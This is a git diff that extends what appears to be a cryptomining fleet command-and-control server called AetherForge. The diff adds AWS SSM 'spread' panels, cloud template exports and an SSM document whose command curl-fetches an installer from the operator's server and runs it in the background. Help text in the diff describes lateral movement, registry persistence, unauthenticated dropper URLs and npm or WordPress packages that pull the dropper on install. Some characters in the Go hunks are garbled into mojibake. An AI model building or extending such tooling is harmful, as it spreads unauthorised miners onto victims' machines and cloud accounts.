ΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇ Γòæ + Γòæ ΓùïΓöÇΓöÇΓöÇΓùÅ ΓùïΓöÇΓöÇΓöÇΓùï ΓùÅΓöÇΓöÇΓöÇΓùï LAN Mining Command Deck Γòæ + Γòæ \ \ / \ / / Γòæ + Γòæ \ ΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅ / Γòæ + Γòæ \ / \ / Γòæ + Γòæ ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùï Γòæ + Γòæ Γ£ª ┬╖ ┬╖ ┬╖ ┬╖ Γùê ┬╖ ┬╖ ┬╖ ┬╖ Γ£ª Γòæ + Γòæ Γòæ + ΓòÜΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓò¥` func main() { fmt.Println(aetherBanner) @@ -85,12 +85,12 @@ func main() { defer cloudflared.Stop() } } else if tunnelExternal { - log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) — skipping in-process cloudflared start") + log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) ΓÇö skipping in-process cloudflared start") } else { log.Println("[tunnel] No connector token configured") } - // Generate fleet secret once — persisted in config.json so all future forges + // Generate fleet secret once ΓÇö persisted in config.json so all future forges // carry the same secret and agents keep working across server restarts. if cfg.Server.FleetSecret == "" { b := make([]byte, 32) @@ -99,9 +99,9 @@ func main() { } cfg.Server.FleetSecret = hex.EncodeToString(b) if err := cfg.Save(); err != nil { - log.Printf("[auth] Warning: could not persist fleet secret: %v — agents forged this session will still work", err) + log.Printf("[auth] Warning: could not persist fleet secret: %v ΓÇö agents forged this session will still work", err) } else { - log.Printf("[auth] Fleet secret generated and saved — re-forge agents to pick it up") + log.Printf("[auth] Fleet secret generated and saved ΓÇö re-forge agents to pick it up") } } else { log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8]) @@ -162,7 +162,7 @@ func main() { builderHandler.SetFleetSecret(cfg.Server.FleetSecret) log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir) - // Wire fleet secret rotation — now that both wsHub and builderHandler are ready. + // Wire fleet secret rotation ΓÇö now that both wsHub and builderHandler are ready. api.SetRotateSecretFn(func() (string, error) { b := make([]byte, 32) if _, err := rand.Read(b); err != nil { @@ -244,7 +244,7 @@ func main() { wsHub.SetEventNotifier(eventNotifier) builderHandler.SetEventNotifier(eventNotifier) - // Fleet alert evaluator (thresholds from Calibrate → alerts config) + // Fleet alert evaluator (thresholds from Calibrate ΓåÆ alerts config) alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds { return alerts.Thresholds{ OfflineMinutes: cfg.Alerts.OfflineThresholdMinutes, @@ -496,24 +496,24 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error return fmt.Errorf("invalid config: %w", err) } - // Semantic validation — reject values that would break the server at runtime. + // Semantic validation ΓÇö reject values that would break the server at runtime. if incoming.Port != 0 && (incoming.Port < 1 || incoming.Port > 65535) { - return fmt.Errorf("invalid config: port %d out of range (1–65535)", incoming.Port) + return fmt.Errorf("invalid config: port %d out of range (1ΓÇô65535)", incoming.Port) } if incoming.Pool.Port != 0 && (incoming.Pool.Port < 1 || incoming.Pool.Port > 65535) { - return fmt.Errorf("invalid config: pool.port %d out of range (1–65535)", incoming.Pool.Port) + return fmt.Errorf("invalid config: pool.port %d out of range (1ΓÇô65535)", incoming.Pool.Port) } if incoming.Server.MaxAgents < 0 { - return fmt.Errorf("invalid config: server.max_agents must be ≥ 0") + return fmt.Errorf("invalid config: server.max_agents must be ΓëÑ 0") } if incoming.Server.StatsRetentionHours < 0 { - return fmt.Errorf("invalid config: server.stats_retention_hours must be ≥ 0") + return fmt.Errorf("invalid config: server.stats_retention_hours must be ΓëÑ 0") } if incoming.Server.BuildRetentionDays < 0 { - return fmt.Errorf("invalid config: server.build_retention_days must be ≥ 0") + return fmt.Errorf("invalid config: server.build_retention_days must be ΓëÑ 0") } if incoming.Server.MaxBuildSizeMB < 0 { - return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0") + return fmt.Errorf("invalid config: server.max_build_size_mb must be ΓëÑ 0") } // Determine which top-level keys were explicitly present in the JSON payload. @@ -561,7 +561,7 @@ func (p *serverConfigProvider) UpdateFleetAIConfig(v api.FleetAIConfigView) erro return fmt.Errorf("config unavailable") } if v.AIDecisionIntervalSec < 0 { - return fmt.Errorf("ai_decision_interval_sec must be ≥ 0") + return fmt.Errorf("ai_decision_interval_sec must be ΓëÑ 0") } payload, err := json.Marshal(map[string]interface{}{ "server": map[string]interface{}{ @@ -626,7 +626,7 @@ func findAgentSourceDir() string { // /data even when miner-server.exe is started from server/ or bin/. func validateListenPort(port int) error { if port < 1 || port > 65535 { - return fmt.Errorf("port %d out of range (1–65535)", port) + return fmt.Errorf("port %d out of range (1ΓÇô65535)", port) } return nil } diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index b95624e..d3f4953 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -469,6 +469,32 @@ export const api = { URL.revokeObjectURL(url); }, + fetchSSMSpreadBundle: (req: { + server_url: string; + build_id?: string; + campaign?: string; + platform?: string; + aws_cli_path?: string; + }) => + fetchJSON<{ ok: boolean; bundle: { + join_lane: string; + document: string; + run_command: string; + create_document_cli: string; + manifest_url?: string; + shard_urls?: string[]; + fallback_get_url?: string; + } }>('/builder/ssm-spread-bundle', { + method: 'POST', + body: JSON.stringify(req), + }), + + forgeLaunchTemplate: (req: import('../help/launchTemplateExport').LaunchTemplateExportRequest) => + fetchJSON('/forge/launch-template', { + method: 'POST', + body: JSON.stringify(req), + }), + exportSpreadTemplate: async (req: { template: string; server_url: string; @@ -494,6 +520,22 @@ export const api = { URL.revokeObjectURL(url); }, + exportCloudTemplate: async (req: { template: string; server_url: string; build_id?: string; campaign?: string; bucket?: string; cloudfront_domain?: string; minio_endpoint?: string; region?: string; cluster?: string; namespace_name?: string }) => { + const res = await fetch(`${API_BASE}/builder/cloud-template-export`, { method: 'POST', headers: { 'Content-Type': 'application/json', ...authHeaders() }, body: JSON.stringify(req) }); + if (res.status === 401) clearStoredAuth({ expired: true }); + if (!res.ok) throw new Error(await res.text()); + const blob = await res.blob(); + const url = URL.createObjectURL(blob); + const a = document.createElement('a'); + a.href = url; + a.download = `aetherforge-${req.template}.zip`; + a.click(); + URL.revokeObjectURL(url); + }, + + testCloudConnection: (req: { kind: string; endpoint: string; bucket?: string }) => + fetchJSON<{ ok: boolean; reachable: boolean; url?: string; status?: number; error?: string }>('/builder/cloud-connection-test', { method: 'POST', body: JSON.stringify(req) }), + // Path Tracer — WireGuard VPN chain sessions startTrace: (agentIds: string[]) => fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', { diff --git a/server/web/src/components/Emberwake/SSMSpreadPanel.tsx b/server/web/src/components/Emberwake/SSMSpreadPanel.tsx new file mode 100644 index 0000000..d66646d --- /dev/null +++ b/server/web/src/components/Emberwake/SSMSpreadPanel.tsx @@ -0,0 +1,60 @@ +import { useCallback, useState } from 'react'; +import { api } from '../../api/client'; +import { spreadTechniqueDocUrl } from '../../help/spreadTechniques'; + +export interface SSMSpreadPanelProps { + serverBase: string; + buildId?: string; + campaign?: string; +} + +function CopyBlock({ label, text }: { label: string; text: string }) { + const [ok, setOk] = useState(false); + return ( +
+
+ {label} + +
+
{text}
+
+ ); +} + +export default function SSMSpreadPanel({ serverBase, buildId = '', campaign = '' }: SSMSpreadPanelProps) { + const [awsCli, setAwsCli] = useState('aws'); + const [busy, setBusy] = useState(false); + const [err, setErr] = useState(''); + const [bundle, setBundle] = useState>['bundle'] | null>(null); + + const load = useCallback(async () => { + setErr(''); setBusy(true); + try { + const res = await api.fetchSSMSpreadBundle({ server_url: serverBase, build_id: buildId.trim(), campaign: campaign.trim(), aws_cli_path: awsCli.trim(), platform: 'linux' }); + setBundle(res.bundle); + } catch (e) { + setErr(e instanceof Error ? e.message : String(e)); setBundle(null); + } finally { setBusy(false); } + }, [serverBase, buildId, campaign, awsCli]); + + return ( +
+

Owned EC2 — SSM Run Command curls erasure manifest/shards from your command deck. Playbook

+
+ + setAwsCli(e.target.value)} /> + +
+ {err ?

{err}

: null} + {bundle ? ( +
+ + + +
+ ) : null} +
+ ); +} diff --git a/server/web/src/help/uiHelp.ts b/server/web/src/help/uiHelp.ts index 7fa7171..9d6c40d 100644 --- a/server/web/src/help/uiHelp.ts +++ b/server/web/src/help/uiHelp.ts @@ -105,6 +105,8 @@ export const UI_HELP: Record = { 'Matrix of SSH local-forward rules pushed to selected Windows agents.', crucible_section_spread_templates: 'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.', + crucible_section_launch_template: + 'EC2 Launch Template strain genesis for AWS horizontal scale — cloud-init user-data embeds genesis snapshot hash, strain card ID, and server URL; first auth sets SpreadGeneration=0 and ParentAgentID=template.', bm_pin_dropper: 'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.', @@ -174,6 +176,14 @@ export const UI_HELP: Record = { 'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.', ew_supply_chain: 'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.', + ew_cloud_ecosystem: + 'Unified cloud deploy hub — AWS and generic cloud templates with mermaid flows, copy/download, and connection tests.', + ew_cloud_aws: + 'AWS templates: S3/CF erasure swarm, SSM, Launch Template, Fargate, EventBridge, Cloud Map.', + ew_cloud_generic: + 'MinIO/S3-compatible kit upload and portable curl manifest.json for any VPS.', + ew_ssm_document: + 'SSM Document spread lane — Run Command curl-fetches install.sh from your command deck.', ew_public_urls: 'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.', ew_techniques: diff --git a/server/web/src/pages/EmberwakePage.tsx b/server/web/src/pages/EmberwakePage.tsx index 4054354..f5ab10d 100644 --- a/server/web/src/pages/EmberwakePage.tsx +++ b/server/web/src/pages/EmberwakePage.tsx @@ -1,4 +1,4 @@ -import { useCallback, useEffect, useMemo, useRef, useState } from 'react'; +import { lazy, Suspense, useCallback, useEffect, useMemo, useRef, useState } from 'react'; import { Link } from 'react-router-dom'; import { api } from '../api/client'; import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types'; @@ -22,12 +22,15 @@ import { usePresence } from '../context/PresenceContext'; import AlsoHere from '../components/Presence/AlsoHere'; import ComradeAvatar from '../components/Presence/ComradeAvatar'; import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard'; +import SSMSpreadPanel from '../components/Emberwake/SSMSpreadPanel'; import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard'; import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy'; import { HelpTip } from '../components/HelpTip'; import './EmberwakePage.css'; import '../components/Presence/Presence.css'; +const CloudSpreadPanel = lazy(() => import('../components/Spread/CloudSpreadPanel')); + function CopyChip({ text, label }: { text: string; label: string }) { const [ok, setOk] = useState(false); const copy = () => { @@ -506,6 +509,16 @@ export default function EmberwakePage() { )} +
+ + Cloud Ecosystem + AWS + generic + + Loading cloud deploy hub…

}> + +
+
+
@@ -552,6 +565,16 @@ export default function EmberwakePage() {
+
+ + + Spread methods — AWS SSM Document + + Owned EC2 + + +
+
/dev/null 2>&1 &" + ] + } + } + ] +} diff --git a/templates/spread/ssm/run-command.json b/templates/spread/ssm/run-command.json new file mode 100644 index 0000000..3e15bbd --- /dev/null +++ b/templates/spread/ssm/run-command.json @@ -0,0 +1,7 @@ +{ + "DocumentName": "AetherForge-ErasureSpread-{{BUILD_ID}}", + "DocumentVersion": "$LATEST", + "Targets": [{ "Key": "tag:AetherForge", "Values": ["owned"] }], + "Parameters": { "Campaign": ["{{CAMPAIGN}}"] }, + "Comment": "AetherForge ssm_document lane — curl erasure manifest/shards from {{SERVER_URL}}" +}